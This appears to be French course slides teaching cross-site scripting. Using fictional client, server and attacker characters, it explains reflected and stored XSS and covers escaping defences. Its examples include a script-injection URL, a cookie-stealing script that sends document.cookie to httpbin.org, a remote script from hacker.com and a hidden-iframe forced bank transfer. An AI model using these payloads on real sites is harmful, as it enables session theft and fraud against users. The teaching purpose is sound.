layout | title | subtitle | scripts | video |
---|---|---|---|---|
lesson |
XSS |
Cross Site Scripting |
../js/mock-browser.js |
Toutes les données en provenance du client :
- Entêtes HTTP,
- Paramètres de l'URL, query string
- Corps de la requête, données des formulaires,
- Cookies, Storage API,
peuvent contenir des valeurs non valides. Dans les attaques de type XSS :
- Le client est la victime, pas le serveur.
- Les données non-valides sont construites par l'attaquant.
- La victime est persuadée/forcée par l'attaquant à rentrer les données non-valides dans l'application.
- Les données non-valides sont retournées à la victime par le serveur, avec des effets non désirés.
Dans la suite
Clélie est le client, victime des attaques. {:.cli}
Servane est le serveur, contenant une faille XSS. {:.srv}
Athanase est l'attaquant, qui cible Clélie. {:.att}
Pour démontrer une attaque XSS, on se contente en général de démontrer la possibilité d'exécuter du code JavaScript arbitraire, hors du contrôle du serveur : afficher un popup suffit !
Servane utilise une valeur provenant du query string, sans filtrer :
return 'Bonjour ' + $req->query->get('user');
{:.srv}
<script> function xssSimpleDemo(addr) { return '../assets/xss.html?' + addr.split('user=')[1]; } </script>Clélie a l'habitude de visiter http://servane.org/?user=Clélie{:.mock-jump data-target="xss-simple-demo"} {:.cli}
Athanase persuade Clélie à visiter une URL spécialement conçue :
Salut Clélie, j'ai trouvé une vidéo trop marante chez Servane :
<http://servane.org/?user=<script>alert('XSS reussi !')</script>>{:.mock-jump data-target="xss-simple-demo"} {:.att}
Échapper les caractères spéciaux : <
, >
, &
, "
, '
, ...
- Avec la fonction
htmlspecialchars()
de PHP, - Avec la fonction
$app->escape()
de Silex, - Par l'échappement automatique de Twig, ou d'un autre moteur de templates (voir aussi la leçon sur les templates).
On estime que 80% des failles de sécurité des application web sont des failles XSS.
- Changer l'apparence d'une page, la défigurer (recerchez Stallowned).
- Rédiriger et phisher.
- Vols des cookies et des données privées !
- Propager l'exploit XSS comme un ver.
- Controler le browser de la victime !!!
Les attaques XSS comportent trois acteurs : le client (la victime), l'attaquant et le serveur.
Elles nécessitent d'une part de social engineering.
XSS reflété : Le code est injecté quand le client visite le lien
- Query string
- Formulaires
- Résultats de recherche
From: "order-update@amazon.com" <order-update@amazon.com>
Subject: Amazon.com - Your Cancellation (175-2364376-728612)
<html><body>
Your order has been successfully canceled. For your reference,
here's a summary of your order:<br />
You just canceled order <a
href="http://www.amazon.com/?var=<script>injection()</script>">#175-2364376-728612</a>
placed on February 16, 2012. ...
{:.att}
XSS permanent : Le code est stocké sur le server (typiquement, dans la BD)
- Billets de blog, forums, ...
- Réseaux sociaux.
À aucun moment un script d'un domaine (par ex.
www.hacker.com
{:.att}) doit pouvoir accéder à partir d'un document au contenu d'un domaine diffèrent (par ex.www.example.com
{:.srv}).
- Cookies ;
- Requêtes AJAX ;
- Contenu de frames et iframes.
- Images, audio, vidéos ;
- Scripts ;
- URL des frames et iframes.
-
L'attaquant dispose de domaines qu'il contrôle, par exemple :
http://cdn.rawgit.com/
,http://httpbin.org/
. {:.att}
Il sert le script suivant à http://cdn.rawgit.com/defeo/aws-security/master/xss.js
document.body.innerHTML += '<img src="http://httpbin.org/get?ck=' + document.cookie + '">';
{:.att}
Note : ce script est complètement inoffensif si servi par Athanase :
-
Servane a une faille XSS permanente dans son blog : les commentaires peuvent être injectés avec des balises
<script>
. -
Athanase injecte le code suivant dans
http://blog.servane.org/
{:.srv}<script src="http://cdn.rawgit.com/defeo/aws-security/master/xss.js"></script>
{:.compact}
-
Clélie visite le blog de Servane. Le script de Athanase s'exécute, et envoie les cookies de Clélie (y compris son identifiant de session) à
http://httpbin.org
{:.att}. {: start="2"}
La balise <img>
est utilisé souvent pour envoyer des données de la
victime à l'attaquant :
<img src='http://httpbin.org/get?ck={"sessid":"a10340f0e"}' />
{:.compact}
- Presque tous les browsers savent la gérer,
- Connexion silencieuse (pas d'interaction utilisateur, pas de confirmation),
- Rarement filtrée,
- Idéale pour une transmission de la victime à l'attaquant.
Autres techniques pour capter les données :
XMLHttpRequest
,- iframes,
- formulaires cachés,
<audio>
,<video>
, ...- ...
- L'attaquant injecte le script dans une page vulnérable et le donne à la victime
http://bank.servane.org/?<script src="http://hacker.com/evil.js"></script>
{:.srv}
- Le script ajoute un
<iframe>
caché dans la page du serveur
document.write('<iframe name="hf" style="display:none"></iframe>');
{:.att}
- Après quelques secondes, le script génère une requête à une page sécurisée
function req() {
window.frames.hf.location.href=
'http://bank.servane.org/transfer?to=athanase&amount=10000';
}
setTimeout(req, 5000);
{:.javascript.att}
- La réponse à
transfer
est reçue dans l'iframe. Clélie ne s'est aperçue de rien.
- Un tutoriel : http://excess-xss.com/,
- Un autre tutoriel par Google,
- Code source des exemples : https://github.com/defeo/aws-security.
- The tangled web: http://lcamtuf.coredump.cx/tangled/,
- Proxy HTTP : WireShark,
- Proxy HTTP : WebScarab (OWASP),
- Tests de pénetration : Burp Scanner (OWASP),
- Plateforme d'entraînement : WebGoat (OWASP).